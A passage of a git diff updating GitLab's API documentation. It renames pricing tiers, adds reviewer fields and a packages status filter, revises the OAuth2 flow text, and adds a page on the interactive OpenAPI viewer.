[introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/51186) in GitLab 13.8. Every API call to merge requests must be authenticated. @@ -30,7 +31,7 @@ If you need the value of these fields from this endpoint, set the `with_merge_st `true` in the query. - `references.relative` is relative to the group or project that the merge request is being requested. When the merge request is fetched from its project, `relative` format would be the same as `short` format, and when requested across groups or projects, it is expected to be the same as `full` format. -- If `approvals_before_merge` **(STARTER)** is not provided, it inherits the value from the target project. If provided, the following conditions must hold for it to take effect: +- If `approvals_before_merge` is not provided, it inherits the value from the target project. If provided, the following conditions must hold for it to take effect: - The target project's `approvals_before_merge` must be greater than zero. A value of zero disables approvals for that project. @@ -91,8 +92,8 @@ Parameters: | `author_id` | integer | no | Returns merge requests created by the given user `id`. Mutually exclusive with `author_username`. Combine with `scope=all` or `scope=assigned_to_me`. | | `author_username` | string | no | Returns merge requests created by the given `username`. Mutually exclusive with `author_id`. | | `assignee_id` | integer | no | Returns merge requests assigned to the given user `id`. `None` returns unassigned merge requests. `Any` returns merge requests with an assignee. | -| `approver_ids` **(STARTER)** | integer array | no | Returns merge requests which have specified all the users with the given `id`s as individual approvers. `None` returns merge requests without approvers. `Any` returns merge requests with an approver. | -| `approved_by_ids` **(STARTER)** | integer array | no | Returns merge requests which have been approved by all the users with the given `id`s (Max: 5). `None` returns merge requests with no approvals. `Any` returns merge requests with an approval. | +| `approver_ids` **(PREMIUM)** | integer array | no | Returns merge requests which have specified all the users with the given `id`s as individual approvers. `None` returns merge requests without approvers. `Any` returns merge requests with an approver. | +| `approved_by_ids` **(PREMIUM)** | integer array | no | Returns merge requests which have been approved by all the users with the given `id`s (Max: 5). `None` returns merge requests with no approvals. `Any` returns merge requests with an approval. | | `reviewer_id` | integer | no | Returns merge requests which have the user as a [reviewer](../user/project/merge_requests/getting_started.md#reviewer) with the given user `id`. `None` returns merge requests with no reviewers. `Any` returns merge requests with any reviewer. Mutually exclusive with `reviewer_username`. | | `reviewer_username` | string | no | Returns merge requests which have the user as a [reviewer](../user/project/merge_requests/getting_started.md#reviewer) with the given `username`. `None` returns merge requests with no reviewers. `Any` returns merge requests with any reviewer. Mutually exclusive with `reviewer_id`. | | `my_reaction_emoji` | string | no | Return merge requests reacted by the authenticated user by the given `emoji`. `None` returns issues not given a reaction. `Any` returns issues given at least one reaction. | @@ -216,7 +217,7 @@ Parameters: ] ``` -Users on GitLab [Starter, Bronze, or higher](https://about.gitlab.com/pricing/) also see +Users on GitLab Premium or higher also see the `approvals_before_merge` parameter: ```json @@ -277,8 +278,8 @@ Parameters: | `author_id` | integer | no | Returns merge requests created by the given user `id`. Mutually exclusive with `author_username`. | | `author_username` | string | no | Returns merge requests created by the given `username`. Mutually exclusive with `author_id`.| | `assignee_id` | integer | no | Returns merge requests assigned to the given user `id`. `None` returns unassigned merge requests. `Any` returns merge requests with an assignee. | -| `approver_ids` **(STARTER)** | integer array | no | Returns merge requests which have specified all the users with the given `id`s as individual approvers. `None` returns merge requests without approvers. `Any` returns merge requests with an approver. | -| `approved_by_ids` **(STARTER)** | integer array | no | Returns merge requests which have been approved by all the users with the given `id`s (Max: 5). `None` returns merge requests with no approvals. `Any` returns merge requests with an approval. | +| `approver_ids` **(PREMIUM)** | integer array | no | Returns merge requests which have specified all the users with the given `id`s as individual approvers. `None` returns merge requests without approvers. `Any` returns merge requests with an approver. | +| `approved_by_ids` **(PREMIUM)** | integer array | no | Returns merge requests which have been approved by all the users with the given `id`s (Max: 5). `None` returns merge requests with no approvals. `Any` returns merge requests with an approval. | | `reviewer_id` | integer | no | Returns merge requests which have the user as a [reviewer](../user/project/merge_requests/getting_started.md#reviewer) with the given user `id`. `None` returns merge requests with no reviewers. `Any` returns merge requests with any reviewer. Mutually exclusive with `reviewer_username`. | | `reviewer_username` | string | no | Returns merge requests which have the user as a [reviewer](../user/project/merge_requests/getting_started.md#reviewer) with the given `username`. `None` returns merge requests with no reviewers. `Any` returns merge requests with any reviewer. Mutually exclusive with `reviewer_id`. | @@ -401,7 +402,7 @@ Parameters: ] ``` -Users on GitLab [Starter, Bronze, or higher](https://about.gitlab.com/pricing/) also see +Users on GitLab Premium or higher also see the `approvals_before_merge` parameter: ```json @@ -453,10 +454,10 @@ Parameters: | `author_id` | integer | no | Returns merge requests created by the given user `id`. Mutually exclusive with `author_username`. _([Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/13060) in GitLab 9.5)_. | | `author_username` | string | no | Returns merge requests created by the given `username`. Mutually exclusive with `author_id`. _([Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/13060) in GitLab 12.10)_. | | `assignee_id` | integer | no | Returns merge requests assigned to the given user `id`. `None` returns unassigned merge requests. `Any` returns merge requests with an assignee. _([Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/13060) in GitLab 9.5)_. | -| `approver_ids` **(STARTER)** | integer array | no | Returns merge requests which have specified all the users with the given `id`s as individual approvers. `None` returns merge requests without approvers. `Any` returns merge requests with an approver. | -| `approved_by_ids` **(STARTER)** | integer array | no | Returns merge requests which have been approved by all the users with the given `id`s (Max: 5). `None` returns merge requests with no approvals. `Any` returns merge requests with an approval. | -| `reviewer_id` | integer | no | Returns merge requests which have the user as a [reviewer](../user/project/merge_requests/getting_started.md#enable-or-disable-merge-request-reviewers) with the given user `id`. `None` returns merge requests with no reviewers. `Any` returns merge requests with any reviewer. Mutually exclusive with `reviewer_username`. | -| `reviewer_username` | string | no | Returns merge requests which have the user as a [reviewer](../user/project/merge_requests/getting_started.md#enable-or-disable-merge-request-reviewers) with the given `username`. `None` returns merge requests with no reviewers. `Any` returns merge requests with any reviewer. Mutually exclusive with `reviewer_id`. | +| `approver_ids` **(PREMIUM))** | integer array | no | Returns merge requests which have specified all the users with the given `id`s as individual approvers. `None` returns merge requests without approvers. `Any` returns merge requests with an approver. | +| `approved_by_ids` **(PREMIUM)** | integer array | no | Returns merge requests which have been approved by all the users with the given `id`s (Max: 5). `None` returns merge requests with no approvals. `Any` returns merge requests with an approval. | +| `reviewer_id` | integer | no | Returns merge requests which have the user as a [reviewer](../user/project/merge_requests/getting_started.md#reviewer) with the given user `id`. `None` returns merge requests with no reviewers. `Any` returns merge requests with any reviewer. Mutually exclusive with `reviewer_username`. | +| `reviewer_username` | string | no | Returns merge requests which have the user as a [reviewer](../user/project/merge_requests/getting_started.md#reviewer) with the given `username`. `None` returns merge requests with no reviewers. `Any` returns merge requests with any reviewer. Mutually exclusive with `reviewer_id`. | | `my_reaction_emoji` | string | no | Return merge requests reacted by the authenticated user by the given `emoji`. `None` returns issues not given a reaction. `Any` returns issues given at least one reaction. _([Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/14016) in GitLab 10.0)_. | | `source_branch` | string | no | Return merge requests with the given source branch. | | `target_branch` | string | no | Return merge requests with the given target branch. | @@ -574,7 +575,7 @@ Parameters: ] ``` -Users on GitLab [Starter, Bronze, or higher](https://about.gitlab.com/pricing/) also see +Users on GitLab Premium or higher also see the `approvals_before_merge` parameter: ```json @@ -745,7 +746,7 @@ Parameters: } ``` -Users on GitLab [Starter, Bronze, or higher](https://about.gitlab.com/pricing/) also see +Users on GitLab Premium also see the `approvals_before_merge` parameter: ```json @@ -884,6 +885,14 @@ Parameters: "avatar_url": "http://www.gravatar.com/avatar/46f6f7dc858ada7be1853f7fb96e81da?s=80&d=identicon", "web_url": "https://gitlab.example.com/axel.block" }], + "reviewers": [{ + "name": "Miss Monserrate Beier", + "username": "axel.block", + "id": 12, + "state": "active", + "avatar_url": "http://www.gravatar.com/avatar/46f6f7dc858ada7be1853f7fb96e81da?s=80&d=identicon", + "web_url": "https://gitlab.example.com/axel.block" + }], "source_project_id": 4, "target_project_id": 4, "labels": [ ], @@ -1051,7 +1060,8 @@ POST /projects/:id/merge_requests | `target_branch` | string | yes | The target branch. | | `title` | string | yes | Title of MR. | | `assignee_id` | integer | no | Assignee user ID. | -| `assignee_ids` | integer array | no | The ID of the user(s) to assign the MR to. Set to `0` or provide an empty value to unassign all assignees. | +| `assignee_ids` | integer array | no | The ID of the user(s) to assign the MR to. Set to `0` or provide an empty value to unassign all assignees. | +| `reviewer_ids` | integer array | no | The ID of the user(s) added as a reviewer to the MR. If set to `0` or left empty, there will be no reviewers added. | | `description` | string | no | Description of MR. Limited to 1,048,576 characters. | | `target_project_id` | integer | no | The target project (numeric ID). | | `labels` | string | no | Labels for MR as a comma-separated list. | @@ -1172,7 +1182,7 @@ POST /projects/:id/merge_requests } ``` -Users on GitLab [Starter, Bronze, or higher](https://about.gitlab.com/pricing/) also see +Users of [GitLab Premium or higher](https://about.gitlab.com/pricing/) also see the `approvals_before_merge` parameter: ```json @@ -1200,6 +1210,7 @@ PUT /projects/:id/merge_requests/:merge_request_iid | `title` | string | no | Title of MR. | | `assignee_id` | integer | no | The ID of the user to assign the merge request to. Set to `0` or provide an empty value to unassign all assignees. | | `assignee_ids` | integer array | no | The ID of the user(s) to assign the MR to. Set to `0` or provide an empty value to unassign all assignees. | +| `reviewer_ids` | integer array | no | The ID of the user(s) set as a reviewer to the MR. Set the value to `0` or provide an empty value to unset all reviewers. | | `milestone_id` | integer | no | The global ID of a milestone to assign the merge request to. Set to `0` or provide an empty value to unassign a milestone.| | `labels` | string | no | Comma-separated label names for a merge request. Set to an empty string to unassign all labels. | | `add_labels` | string | no | Comma-separated label names to add to a merge request. | @@ -1252,6 +1263,14 @@ Must include at least one non-required attribute from above. "avatar_url": "http://www.gravatar.com/avatar/46f6f7dc858ada7be1853f7fb96e81da?s=80&d=identicon", "web_url": "https://gitlab.example.com/axel.block" }], + "reviewers": [{ + "name": "Miss Monserrate Beier", + "username": "axel.block", + "id": 12, + "state": "active", + "avatar_url": "http://www.gravatar.com/avatar/46f6f7dc858ada7be1853f7fb96e81da?s=80&d=identicon", + "web_url": "https://gitlab.example.com/axel.block" + }], "source_project_id": 2, "target_project_id": 3, "labels": [ @@ -1333,7 +1352,7 @@ Must include at least one non-required attribute from above. } ``` -Users on GitLab [Starter, Bronze, or higher](https://about.gitlab.com/pricing/) also see +Users on GitLab Premium or higher also see the `approvals_before_merge` parameter: ```json @@ -1386,7 +1405,7 @@ Parameters: | `merge_request_iid` | integer | yes | The internal ID of the merge request. | | `merge_commit_message` | string | no | Custom merge commit message. | | `squash_commit_message` | string | no | Custom squash commit message. | -| `squash` | boolean | no | If `true` the commits the commits are squashed into a single commit on merge. | +| `squash` | boolean | no | If `true` the commits are squashed into a single commit on merge. | | `should_remove_source_branch` | boolean | no | If `true` removes the source branch. | | `merge_when_pipeline_succeeds` | boolean | no | If `true` the MR is merged when the pipeline succeeds. | | `sha` | string | no | If present, then this SHA must match the HEAD of the source branch, otherwise the merge fails. | @@ -1429,6 +1448,14 @@ Parameters: "avatar_url": "http://www.gravatar.com/avatar/46f6f7dc858ada7be1853f7fb96e81da?s=80&d=identicon", "web_url": "https://gitlab.example.com/axel.block" }], + "reviewers": [{ + "name": "Miss Monserrate Beier", + "username": "axel.block", + "id": 12, + "state": "active", + "avatar_url": "http://www.gravatar.com/avatar/46f6f7dc858ada7be1853f7fb96e81da?s=80&d=identicon", + "web_url": "https://gitlab.example.com/axel.block" + }], "source_project_id": 2, "target_project_id": 3, "labels": [ @@ -1510,7 +1537,7 @@ Parameters: } ``` -Users on GitLab [Starter, Bronze, or higher](https://about.gitlab.com/pricing/) also see +Users on GitLab Premium also see the `approvals_before_merge` parameter: ```json @@ -1609,6 +1636,14 @@ Parameters: "avatar_url": "http://www.gravatar.com/avatar/46f6f7dc858ada7be1853f7fb96e81da?s=80&d=identicon", "web_url": "https://gitlab.example.com/axel.block" }], + "reviewers": [{ + "name": "Miss Monserrate Beier", + "username": "axel.block", + "id": 12, + "state": "active", + "avatar_url": "http://www.gravatar.com/avatar/46f6f7dc858ada7be1853f7fb96e81da?s=80&d=identicon", + "web_url": "https://gitlab.example.com/axel.block" + }], "source_project_id": 2, "target_project_id": 3, "labels": [ @@ -1690,7 +1725,7 @@ Parameters: } ``` -Users on GitLab [Starter, Bronze, or higher](https://about.gitlab.com/pricing/) also see +Users on GitLab Premium or higher also see the `approvals_before_merge` parameter: ```json @@ -1902,6 +1937,14 @@ Example response: "avatar_url": "http://www.gravatar.com/avatar/46f6f7dc858ada7be1853f7fb96e81da?s=80&d=identicon", "web_url": "https://gitlab.example.com/axel.block" }], + "reviewers": [{ + "name": "Miss Monserrate Beier", + "username": "axel.block", + "id": 12, + "state": "active", + "avatar_url": "http://www.gravatar.com/avatar/46f6f7dc858ada7be1853f7fb96e81da?s=80&d=identicon", + "web_url": "https://gitlab.example.com/axel.block" + }], "source_project_id": 2, "target_project_id": 3, "labels": [ @@ -1982,7 +2025,7 @@ Example response: } ``` -Users on GitLab [Starter, Bronze, or higher](https://about.gitlab.com/pricing/) also see +Users on GitLab Premium also see the `approvals_before_merge` parameter: ```json @@ -2053,6 +2096,14 @@ Example response: "avatar_url": "http://www.gravatar.com/avatar/46f6f7dc858ada7be1853f7fb96e81da?s=80&d=identicon", "web_url": "https://gitlab.example.com/axel.block" }], + "reviewers": [{ + "name": "Miss Monserrate Beier", + "username": "axel.block", + "id": 12, + "state": "active", + "avatar_url": "http://www.gravatar.com/avatar/46f6f7dc858ada7be1853f7fb96e81da?s=80&d=identicon", + "web_url": "https://gitlab.example.com/axel.block" + }], "source_project_id": 2, "target_project_id": 3, "labels": [ @@ -2133,7 +2184,7 @@ Example response: } ``` -Users on GitLab [Starter, Bronze, or higher](https://about.gitlab.com/pricing/) also see +Users on GitLab Premium or higher also see the `approvals_before_merge` parameter: ```json @@ -2224,6 +2275,14 @@ Example response: "avatar_url": "http://www.gravatar.com/avatar/46f6f7dc858ada7be1853f7fb96e81da?s=80&d=identicon", "web_url": "https://gitlab.example.com/axel.block" }], + "reviewers": [{ + "name": "Miss Monserrate Beier", + "username": "axel.block", + "id": 12, + "state": "active", + "avatar_url": "http://www.gravatar.com/avatar/46f6f7dc858ada7be1853f7fb96e81da?s=80&d=identicon", + "web_url": "https://gitlab.example.com/axel.block" + }], "source_project_id": 3, "target_project_id": 3, "labels": [], @@ -2513,7 +2572,7 @@ Example response: } ``` -## Approvals **(STARTER)** +## Approvals For approvals, please see [Merge Request Approvals](merge_request_approvals.md) diff --git a/doc/api/metrics_dashboard_annotations.md b/doc/api/metrics_dashboard_annotations.md index b92e26b03fb..896420ed0fb 100644 --- a/doc/api/metrics_dashboard_annotations.md +++ b/doc/api/metrics_dashboard_annotations.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: concepts, howto --- -# Dashboard annotations API +# Dashboard annotations API **(FREE)** > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/29089) in GitLab 12.10 behind a disabled feature flag. diff --git a/doc/api/metrics_user_starred_dashboards.md b/doc/api/metrics_user_starred_dashboards.md index 79040333148..9178291181e 100644 --- a/doc/api/metrics_user_starred_dashboards.md +++ b/doc/api/metrics_user_starred_dashboards.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: concepts, howto --- -# User-starred metrics dashboards API +# User-starred metrics dashboards API **(FREE)** The starred dashboard feature makes navigating to frequently-used dashboards easier by displaying favorited dashboards at the top of the select list. diff --git a/doc/api/milestones.md b/doc/api/milestones.md index 93b867c0286..15927ad852e 100644 --- a/doc/api/milestones.md +++ b/doc/api/milestones.md @@ -159,9 +159,10 @@ Parameters: - `id` (required) - The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user - `milestone_id` (required) - The ID of a project milestone -## Get all burndown chart events for a single milestone **(STARTER)** +## Get all burndown chart events for a single milestone **(PREMIUM)** -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/4737) in GitLab 12.1 +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/4737) in GitLab 12.1 +> - Moved to GitLab Premium in 13.9. Gets all burndown chart events for a single milestone. diff --git a/doc/api/namespaces.md b/doc/api/namespaces.md index 4e5a418be7a..a89e91f82e5 100644 --- a/doc/api/namespaces.md +++ b/doc/api/namespaces.md @@ -6,7 +6,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Namespaces API -Usernames and groupnames fall under a special category called namespaces. +Usernames and group names fall under a special category called namespaces. For users and groups supported API calls see the [users](users.md) and [groups](groups.md) documentation respectively. diff --git a/doc/api/notes.md b/doc/api/notes.md index fe20d5ab353..8a443d57682 100644 --- a/doc/api/notes.md +++ b/doc/api/notes.md @@ -36,6 +36,11 @@ are paginated. Read more on [pagination](README.md#pagination). +## Rate limits + +To help avoid abuse, you can limit your users to a specific number of `Create` request per minute. +See [Notes rate limits](../user/admin_area/settings/rate_limit_on_notes_creation.md). + ## Issues ### List project issue notes diff --git a/doc/api/notification_settings.md b/doc/api/notification_settings.md index 74746f60d7e..a85c6475331 100644 --- a/doc/api/notification_settings.md +++ b/doc/api/notification_settings.md @@ -196,7 +196,7 @@ Example responses: } ``` -Users on GitLab [Ultimate or Gold](https://about.gitlab.com/pricing/) also see the `new_epic` +Users on GitLab [Ultimate](https://about.gitlab.com/pricing/) also see the `new_epic` parameter: ```json diff --git a/doc/api/oauth2.md b/doc/api/oauth2.md index a80a97890ba..92d109cac5f 100644 --- a/doc/api/oauth2.md +++ b/doc/api/oauth2.md @@ -21,7 +21,7 @@ GitLab currently supports the following authorization flows: - **Authorization code with [Proof Key for Code Exchange (PKCE)](https://tools.ietf.org/html/rfc7636):** Most secure. Without PKCE, you'd have to include client secrets on mobile clients, - and is recommended for both client and server aoos. + and is recommended for both client and server apps. - **Authorization code:** Secure and common flow. Recommended option for secure server-side apps. - **Implicit grant:** Originally designed for user-agent only apps, such as @@ -89,7 +89,7 @@ Before starting the flow, generate the `STATE`, the `CODE_VERIFIER` and the `COD `/oauth/authorize` page with the following query parameters: ```plaintext - https://gitlab.example.com/oauth/authorize?client_id=APP_ID&redirect_uri=REDIRECT_URI&response_type=code&state=YOUR_UNIQUE_STATE_HASH&scope=REQUESTED_SCOPES&code_challenge=CODE_CHALLENGE&code_challenge_method=S256 + https://gitlab.example.com/oauth/authorize?client_id=APP_ID&redirect_uri=REDIRECT_URI&response_type=code&state=STATE&scope=REQUESTED_SCOPES&code_challenge=CODE_CHALLENGE&code_challenge_method=S256 ``` This page asks the user to approve the request from the app to access their @@ -100,7 +100,7 @@ Before starting the flow, generate the `STATE`, the `CODE_VERIFIER` and the `COD The redirect includes the authorization `code`, for example: ```plaintext - https://example.com/oauth/redirect?code=1234567890&state=YOUR_UNIQUE_STATE_HASH + https://example.com/oauth/redirect?code=1234567890&state=STATE ``` 1. With the authorization `code` returned from the previous request (denoted as @@ -139,29 +139,31 @@ detailed flow description. The authorization code flow is essentially the same as [authorization code flow with PKCE](#authorization-code-with-proof-key-for-code-exchange-pkce), +Before starting the flow, generate the `STATE`. It is a value that can't be predicted +used by the client to maintain state between the request and callback. It should also +be used as a CSRF token. + 1. Request authorization code. To do that, you should redirect the user to the - `/oauth/authorize` endpoint with the following GET parameters: + `/oauth/authorize` page with the following query parameters: ```plaintext https://gitlab.example.com/oauth/authorize?client_id=APP_ID&redirect_uri=REDIRECT_URI&response_type=code&state=STATE&scope=REQUESTED_SCOPES ``` - This will ask the user to approve the applications access to their account - based on the scopes specified in `REQUESTED_SCOPES` and then redirect back to - the `REDIRECT_URI` you provided. The [scope parameter](https://github.com/doorkeeper-gem/doorkeeper/wiki/Using-Scopes#requesting-particular-scopes) - is a space separated list of scopes you want to have access to (e.g. `scope=read_user+profile` - would request `read_user` and `profile` scopes). The redirect will - include the GET `code` parameter, for example: + This page asks the user to approve the request from the app to access their + account based on the scopes specified in `REQUESTED_SCOPES`. The user is then + redirected back to the specified `REDIRECT_URI`. The [scope parameter](https://github.com/doorkeeper-gem/doorkeeper/wiki/Using-Scopes#requesting-particular-scopes) + is a space separated list of scopes associated with the user. + For example,`scope=read_user+profile` requests the `read_user` and `profile` scopes. + The redirect includes the authorization `code`, for example: ```plaintext https://example.com/oauth/redirect?code=1234567890&state=STATE ``` - You should then use `code` to request an access token. - -1. After you have the authorization code you can request an `access_token` using the - code. You can do that by using any HTTP client. In the following example, - we are using Ruby's `rest-client`: +1. With the authorization `code` returned from the previous request (shown as + `RETURNED_CODE` in the following example), you can request an `access_token`, with + any HTTP client. The following example uses Ruby's `rest-client`: ```ruby parameters = 'client_id=APP_ID&client_secret=APP_SECRET&code=RETURNED_CODE&grant_type=authorization_code&redirect_uri=REDIRECT_URI' diff --git a/doc/api/openapi/img/apiviewer01-fs8.png b/doc/api/openapi/img/apiviewer01-fs8.png Binary files differnew file mode 100644 index 00000000000..0a2f7062cc8 --- /dev/null +++ b/doc/api/openapi/img/apiviewer01-fs8.png diff --git a/doc/api/openapi/img/apiviewer03-fs8.png b/doc/api/openapi/img/apiviewer03-fs8.png Binary files differnew file mode 100644 index 00000000000..9fa00e830e7 --- /dev/null +++ b/doc/api/openapi/img/apiviewer03-fs8.png diff --git a/doc/api/openapi/img/apiviewer04-fs8.png b/doc/api/openapi/img/apiviewer04-fs8.png Binary files differnew file mode 100644 index 00000000000..bd878ba809b --- /dev/null +++ b/doc/api/openapi/img/apiviewer04-fs8.png diff --git a/doc/api/openapi/openapi_interactive.md b/doc/api/openapi/openapi_interactive.md new file mode 100644 index 00000000000..0f1544b139d --- /dev/null +++ b/doc/api/openapi/openapi_interactive.md @@ -0,0 +1,42 @@ +--- +stage: none +group: unassigned +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +--- + +# Interactive API documentation + +Introduces the interactive documentation tool for the GitLab API. + +## About the OpenAPI specification + +The [OpenAPI specification](https://swagger.io/specification/) (formerly called Swagger) defines a standard, language-agnostic interface to RESTful APIs. OpenAPI definition files are written in the YAML format, which is automatically rendered by the GitLab browser into a more human-readable interface. For general information about the GitLab APIs, see [API Docs](../README.md). + +## Overview + +The [interactive API documentation tool](openapi.yaml) allows API testing directly on the GitLab.com +website. Only a few of the available endpoints are documented with the OpenAPI spec, but the current +list demonstrates the functionality of the tool. + + + +## Endpoint parameters + +When you expand an endpoint listing, you'll see a description, input parameters (if required), +and example server responses. Some parameters include a default or a list of allowed values. + + + +## Starting an interactive sesssion + +A [Personal access token](../../user/profile/personal_access_tokens.md) (PAT) is one way to +start an interactive session. To do this, select **Authorize** from the main page, and a +dialog box prompts you to enter your PAT, which is valid for the current web session. + +To test the endpoint, first select **Try it out** on the endpoint definition page. Input the parameters +as required, then select **Execute**. In the following example, we executed a request for the `version` +endpoint (no parameters required). The tool shows the `curl` command and URL of the request, followed +by the server responses that are returned. You can create new responses by editing the relevant parameters +and then select **Execute** once again. + + diff --git a/doc/api/packages.md b/doc/api/packages.md index a0d966fdd88..112c7ef2e61 100644 --- a/doc/api/packages.md +++ b/doc/api/packages.md @@ -29,6 +29,7 @@ GET /projects/:id/packages | `package_type` | string | no | Filter the returned packages by type. One of `conan`, `maven`, `npm`, `pypi`, `composer`, `nuget`, or `golang`. (_Introduced in GitLab 12.9_) | `package_name` | string | no | Filter the project packages with a fuzzy search by name. (_Introduced in GitLab 12.9_) | `include_versionless` | boolean | no | When set to true, versionless packages are included in the response. (_Introduced in GitLab 13.8_) +| `status` | string | no | Filter the returned packages by status. One of `default` (default), `hidden`, or `processing`. (_Introduced in GitLab 13.9_) ```shell curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/:id/packages" @@ -70,6 +71,9 @@ Example response: By default, the `GET` request returns 20 results, because the API is [paginated](README.md#pagination). +Although you can filter packages by status, working with packages that have a `processing` status +can result in malformed data or broken packages. + ### Within a group > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/18871) in GitLab 12.5. @@ -90,9 +94,10 @@ GET /groups/:id/packages | `package_type` | string | no | Filter the returned packages by type. One of `conan`, `maven`, `npm`, `pypi`, `composer`, `nuget`, or `golang`. (_Introduced in GitLab 12.9_) | | `package_name` | string | no | Filter the project packages with a fuzzy search by name. (_[Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/30980) in GitLab 13.0_) | `include_versionless` | boolean | no | When set to true, versionless packages are included in the response. (_Introduced in GitLab 13.8_) +| `status` | string | no | Filter the returned packages by status. One of `default` (default), `hidden`, or `processing`. (_Introduced in GitLab 13.9_) ```shell -curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/:id/packages?exclude_subgroups=true" +curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/:id/packages?exclude_subgroups=false" ``` > **Deprecation:** @@ -166,6 +171,9 @@ The `_links` object contains the following properties: - `web_path`: The path which you can visit in GitLab and see the details of the package. - `delete_api_path`: The API path to delete the package. Only available if the request user has permission to do so. +Although you can filter packages by status, working with packages that have a `processing` status +can result in malformed data or broken packages. + ## Get a project package > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/9667) in GitLab 11.9. @@ -264,7 +272,7 @@ GET /projects/:id/packages/:package_id/package_files | `package_id` | integer | yes | ID of a package. | ```shell -curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/packages/4/package_files" +curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/:id/packages/4/package_files" ``` Example response: diff --git a/doc/api/personal_access_tokens.md b/doc/api/personal_access_tokens.md index ca0ac3522c3..4949bf504fa 100644 --- a/doc/api/personal_access_tokens.md +++ b/doc/api/personal_access_tokens.md @@ -11,7 +11,7 @@ You can read more about [personal access tokens](../user/profile/personal_access ## List personal access tokens > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/227264) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.3. -> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/270200) to [GitLab Core](https://about.gitlab.com/pricing/) in 13.6. +> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/270200) to [GitLab Free](https://about.gitlab.com/pricing/) in 13.6. Get a list of personal access tokens. @@ -71,7 +71,7 @@ curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/a ## Revoke a personal access token > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/216004) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.3. -> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/270200) to [GitLab Core](https://about.gitlab.com/pricing/) in 13.6. +> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/270200) to [GitLab Free](https://about.gitlab.com/pricing/) in 13.6. Revoke a personal access token. diff --git a/doc/api/project_aliases.md b/doc/api/project_aliases.md index 270c88ca661..439f34ad93b 100644 --- a/doc/api/project_aliases.md +++ b/doc/api/project_aliases.md @@ -5,7 +5,7 @@ info: "To determine the technical writer assigned to the Stage/Group associated type: reference, api --- -# Project Aliases API **(PREMIUM ONLY)** +# Project Aliases API **(PREMIUM SELF)** > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/3264) in [GitLab Premium](https://about.gitlab.com/pricing/) 12.1. diff --git a/doc/api/project_analytics.md b/doc/api/project_analytics.md index 97b15cc2c88..d89c173dd3e 100644 --- a/doc/api/project_analytics.md +++ b/doc/api/project_analytics.md @@ -1,52 +1,8 @@ --- -stage: Release -group: Release -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments -type: reference, api +redirect_to: 'dora4_project_analytics.md' --- -# Project Analytics API **(ULTIMATE ONLY)** +This document was moved to [another location](dora4_project_analytics.md). -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/279039) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.7. - -All methods require reporter authorization. - -## List project deployment frequencies - -Get a list of all project aliases: - -```plaintext -GET /projects/:id/analytics/deployment_frequency?environment=:environment&from=:from&to=:to&interval=:interval -``` - -| Attribute | Type | Required | Description | -|--------------|--------|----------|-----------------------| -| `id` | string | yes | The ID of the project | - -| Parameter | Type | Required | Description | -|--------------|--------|----------|-----------------------| -| `environment`| string | yes | The name of the environment to filter by | -| `from` | string | yes | Datetime range to start from, inclusive, ISO 8601 format (`YYYY-MM-DDTHH:MM:SSZ`) | -| `to` | string | no | Datetime range to end at, exclusive, ISO 8601 format (`YYYY-MM-DDTHH:MM:SSZ`) | -| `interval` | string | no | The bucketing interval (`all`, `monthly`, `daily`) | - -```shell -curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/:id/analytics/deployment_frequency?from=:from&to=:to&interval=:interval" -``` - -Example response: - -```json -[ - { - "from": "2017-01-01", - "to": "2017-01-02", - "value": 106 - }, - { - "from": "2017-01-02", - "to": "2017-01-03", - "value": 55 - } -] -``` +<!-- This redirect file can be deleted after <2021-04-25>. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/api/project_badges.md b/doc/api/project_badges.md index 2ca22baf654..041f67157f7 100644 --- a/doc/api/project_badges.md +++ b/doc/api/project_badges.md @@ -5,7 +5,7 @@ info: "To determine the technical writer assigned to the Stage/Group associated type: reference, api --- -# Project badges API +# Project badges API **(FREE)** > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/17082) in GitLab 10.6. @@ -13,11 +13,14 @@ type: reference, api Badges support placeholders that will be replaced in real time in both the link and image URL. The allowed placeholders are: +<!-- vale gitlab.Spelling = NO --> + - **%{project_path}**: will be replaced by the project path. - **%{project_id}**: will be replaced by the project ID. - **%{default_branch}**: will be replaced by the project default branch. - **%{commit_sha}**: will be 